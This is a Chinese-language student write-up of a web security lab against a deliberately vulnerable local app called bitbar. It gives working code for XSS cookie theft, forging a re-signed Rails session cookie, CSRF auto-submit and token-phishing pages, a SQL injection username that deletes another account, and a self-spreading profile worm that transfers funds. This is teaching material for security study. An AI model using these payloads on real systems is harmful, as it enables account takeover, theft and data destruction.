Attack 1: Warn-up exercise: Cookie Theft
开始网址
http://localhost:3000/profile?username=
评分员将提前以user1的身份登录bitbar，然后打开以上的开始网址
你的目标是偷取user1的会话cookie并且将cookie发送到
http://localhost:3000/steal_cookie?cookie=…cookie_data_here…
你可以在以下网址上查看最近被偷取的cookie
http://localhost:3000/view_stolen_cookie
请将你的答案写在warmup.txt中
提示：尝试添加一些随机字符串到开始网址后，观察这些随机字符会如何影响网页
首先验证是否存在xss漏洞
说明，js中的代码可以被执行，即存在xss漏洞。
所以我们只需要构造js代码来窃取cookie。
answer：
构造新对象Image，指定动作为向http://localhost:3000/steal_cookie?cookie=发送信息，发送的信息为函数document.cookie()的返回值(也就是当前cookie)。
获取cookie如下：
Attack 2: Session hijacking with Cookies
在本次试验中，你将会获得attacker的身份：用户名attacker，密码attacker。你的目的是伪装成用户user1登录系统
你的答案是一个脚本。当这个脚本在JavaScript console中执行时，bitbar将误认为你是以user1。请将这个脚本写到a.sh中
本次试验中，你可以使用Mechanize。Mechanize是一个Ruby的库函数， 它被用于与web应用实现自动化交互。在本次试验中，你必须要保存服务器发送的所有的cookie值。
提示：网站是如何保存会话的？网站是如何验证用户当前是否登录？网站是如何验证cookie的真实性的？
此次任务我卡了很久，主要是因为一直不理解该怎么对cookie进行构造。
从session生成cookie的大致步骤如上所示，但本次实验中的cookie构造却并没有这么复杂。按理来说构造过程简单是一件令人兴奋的事，这意味着更好被攻破，但因为自己水平的问题没有及时意识到这一件事，导致一直在死胡同里卡住。
和同学讨论后，使用mechanize库完成实验。
1.模拟登陆操作，获取cookie。
agent = Mechanize.new
url = "http://localhost:3000/login"
page = agent.get(url)
form = page.forms.first
form['username'] = form['password'] = 'attacker'
agent.submit form
cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '')
这一步没有什么过多解释的，mechanize库的使用方法就是先初始化一个对象agent，然后指定要访问的url，通过表单提交来获取cookie。
2.cookie解码
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)
由于我们无法直接修改cookie，所以我们需要先将cookie解码成我们能理解的字符串，再进行修改。首先通过”–”的提示将签名和信息两个字段分开，在这里我们不需要对签名信息进行修改。然后将value字段进行base64解码。最后使用Marshal库中的load方案进行反序列化。如果不进行反序列化，得到的内容就是下图中红线以上的字符串。
红线以下的字符串就是我们解码之后的cookie，也就是我们即将修改的session。可以看到有一个信息为logged_in_id，它的值此时为4.那么我们知道此时我们使用的是attacker用户登录的，它对应的id为4.那么根据我们已知的可登录用户的信息，user1/user2/user3/attacker共4个可登录用户，那将id修改为1是不是就可以得到正确结果了呢。
3.新cookie构造
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"
与cookie解码相反的步骤。之前我们没有对获取的签名进行处理的原因在这里也体现了出来，因为value的值不同的时候，签名是需要完全重新生成的，所以之前获得的签名就没有什么意义了。
构造完成之后，我们打印新的cookie。
4.利用新cookie进行攻击
Document.cookie=’ ’
将获取的cookie通过控制台赋值后，打开一个新的窗口，访问”localhost:3000”。会发现：
成功登录user1.
Attack 3: Cross-site Request Forgery
你的答案是一个名字为b.html的html文件。评分人将用浏览器打开b.html
在打开b.html前，评分人将提前使用user1的身份登录到bitbar
打开b.html后，10个bitbar将从user1的账户转到attacker的账户，当转账结束时，页面重定向到www.baidu.com。
你可以在http://localhost:3000/view_users 查看用户列表以及每个用户拥有的bitbar
在攻击的过程中，浏览器的网址中不能出现localhost:3000
由于评分人会事先登录user1，也就意味着在没有关闭浏览器的前提下cookie被保留，我们可以直接拿到user1的权限。所以我们要做的只是转账。首先查看转账界面。
可以发现这只是一个表单，提交的目标为”post_transfer”，方式为”post”。所以我们要做的就是做一个可以自动提交表单的网页。
<!DOCTYPE html>
<html lang="en">
<body>
<form action="http://localhost:3000/post_transfer" method="post" id="attack">
<input type="hidden" name="destination_username" value="attacker">
<input type="hidden" name="quantity" value=10>
</form>
<script type="text/javascript">
function post(){
var form = document.getElementById("attack")
form.submit();
}
window.load = post();
setTimeout(function(){window.location.href = "http://www.baidu.com";}, 0.01);
</script>
</body>
</html>
自动提交表单的函数名为post()，并且我们将表单设置为隐藏的，每次提交表单都是给attacker账户转账10元。Window.load对象的目的是保证表单提交的正确性和时序性，即保证先提交表单后重定向到baidu。
重定向部分是使用window.location.href方案来完成的，设置的时延为0.01ms。
可以看到转账已经成功了。
Attack 4: Cross-site request forgery with user assistance
你的答案是一个或者两个html页面，命名为bp.html，bp2.html(可选)。评分员会在浏览器中打开bp.html
在打开bp.html前，评分员已经用user1的身份登录到系统中
评分员将于bp.html页面进行交互，因此bp.html的回应要合理。也就是说，如果在页面上有一个表格或者有一个按钮，并且在页面上有一些提示要求评分员进行一些操作，评分员将会依照这些提示执行。
在评分员与bp.html页面进行交互后，10 bitbars将会从评分员的账户转到attacker的账户。当这个转账操作执行完成后，页面将重定向到www.baidu.com
你的攻击必须要在于用户互动的前提下执行（不要再一次进行一次CSRF攻击）。特别的要注意的是，你的攻击要针对的网址是http://localhost:3000/super_secure_transfer或者 http://localhost:3000/super_secure_post_transfer。这两个网址做了一些CSRF攻击的防护。在攻击的过程中，你不能直接与http://localhost:3000/transfer或者http://localhost:3000/post_transfer进行交互。
在你的攻击过程中，需要隐藏你的页面正从http://localhost:3000上下载内容的事实。
这道题和上一个任务不同的地方在于，他的目标网址增加了一个随机化的字符串。所以对于我们来说，就需要让用户把这个随机化的字符串输入给我们使用。
随机化数字如下图：
<html>
<body>
<input id="token_input" type="text" placeholder="Captcha">
<button onClick="attack()">Confirm</button>
<script>
function attack(){
var a = new XMLHttpRequest();
a.open("POST","http://localhost:3000/super_secure_post_transfer",false);
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
a.withCredentials=true;
var token_input = document.getElementById("token_input").value;
try{
a.send("destination_username=attacker&quantity=10&tokeninput="+token_input);
} catch (err) {
// Do nothing on inevitable XSS error
} finally{
window.location = "http://www.baidu.com";
}
}
</script>
</body>
</html>
如上代码所示，我们在bp.html中构造了一个输入框(如下所示)：
我们要让用户把http://localhost:3000/super_secure_transfer中的Super Secret Token值输入到这个框中。我们使用document.getElementById()函数获取输入的值，并构造表单，提交到http://localhost:3000/super_secure_transfer。提交的步骤和方法与上一个任务类似，成功后查看bitbar余额。
Attack 5: Little Bobby Tables (aka SQL Injection)
你的答案是一个恶意的用户名。这个恶意的用户名允许你删除一个你不具有访问权限账户。
评分员将使用你提供的恶意用户名新建一个账户。并在“close”页面上确认删除该账户
作为结果，新建的账户以及user3的账户将会被删除。其他的账户不变
你可以在http://localhost:3000/view_users页面上查看所用的用户
如果数据库在测试攻击的过程中被破坏了，你可以停止Rails然后使用rake db:reset命令是数据库复原。
将你的最终答案写在d.txt中
提示：SQL注入；WHERE子句
DELETE FROM user WHERE user_name = ‘()’;
现在我们需要考虑的问题就是，上面这个语句中的()中应该填写什么。毋庸置疑的是，我们需要利用单引号来同时操作两个用户。既然我们要删除user3，那么至少应该填写:
‘(user3’ AND …)’
这样的话，我们就可以对user3进行删除。但是同时，题目中还要求了要将新建的账户删除，也就是说新建账户的账户名称也要在这条SQL语句中被删除。于是我们构造：
DELETE FROM user WHERE username = ‘(user3’ OR username LIKE ‘user3%)’;
第一次尝试以失败告终。
百思不得其解问题在哪，然后突然发现自己的单引号好像有点问题。。。不知道为什么，在word中打的单引号是斜的，但在网页中打出来的单引号是’ 类似这样的，是竖直的。
DELETE FROM user WHERE username = '(user3' OR username LIKE 'user3%)';
查看一下结果：
当然，由于这里对sql输入没有进行任何防护，攻击方法不唯一。
Attack 6: Profile Worm
你的答案是一个用户的profile（简况）。当其他用户阅读这个profile时，1个bitbar将会从当前账户转到attacker的账户，并且将当前用户的profile修改成该profile。因此，如果attacker将他的profile修改成你的答案，以下情况会发生：
如果user1浏览了attacker的profile，那么1 bitbar将从user1的账户转到attacker的账户，user1的profile修改成你答案中的profile
之后，如果user2浏览了user1的profile，那么1 bitbar将从user2的账户转到attacker的账户，user2的profile也被替换成你答案中profile
因此，你的profile worm将会很快扩散到全部的用户账户中
将你的恶意的profile写在d.txt中
评分过程：评分员将会将你提供的恶意profile复制到attacker的profile上。然后，评分者将使用多个账户浏览attacker的profile。检查是否正常进行转账以及profile的复制
转账和profile复制的过程应该具有合理的速度。在这个过程中，评分员不会点击任何地方。
在转账和profile的赋值过程中，浏览器的地址栏需要始终停留在http://localhost:3000/profile?username=x ，其中x是profile被浏览的用户名。
不会出现当前账户没有钱可以转的情况
提示：MySpace vulnerability
首先，将attack6分为两个任务：转账与复制profile。
转账任务在之前的attack中我们已经完成，与之前的方法是相同的，也就是向"http://localhost:3000/post_transfer"提交表单。
var a = new XMLHttpRequest();
a.open("POST","http://localhost:3000/post_transfer",false);
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
a.send("destination_username=attacker&quantity=1");
而复制profile的任务，则是向/set_profile发送请求。所以构造以下表单提交动作：
var request = new XMLHttpRequest();
request.open("POST","http://localhost:3000/set_profile",true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.send("new_profile=".concat(encodeURIComponent(document.getElementById('wr').outerHTML)));
其中，提交的内容与前面转账的内容构造有些不同。这里使用了.concat方法，将"wr"标签中的内容通过.outerHTML方法构造到提交的请求中。
全部代码如下：
<span id="wr">
<span id="bitbar_count" class="eval(document['getElementById']('hizt')['innerHTML'].replace('amp;',''))"></span>
<span id="hizt">
document.getElementById('hizt').style.display= "none";
var a = new XMLHttpRequest();
a.open("POST","http://localhost:3000/post_transfer",false);
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
a.send("destination_username=attacker&quantity=1");
var request = new XMLHttpRequest();
request.open("POST","http://localhost:3000/set_profile",true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.send("new_profile=".concat(encodeURIComponent(document.getElementById('wr').outerHTML)));
100
</span>
<p>transfer and profile done</p>
</span>
攻击操作流程：登录attacker->修改profile为以上代码->注销attacker->登录其他用户(例如user1)->查看attacker的profile->此时，user1的profile也被修改为以上代码，同时已经向attacker转账1bitbar。
结果如下：
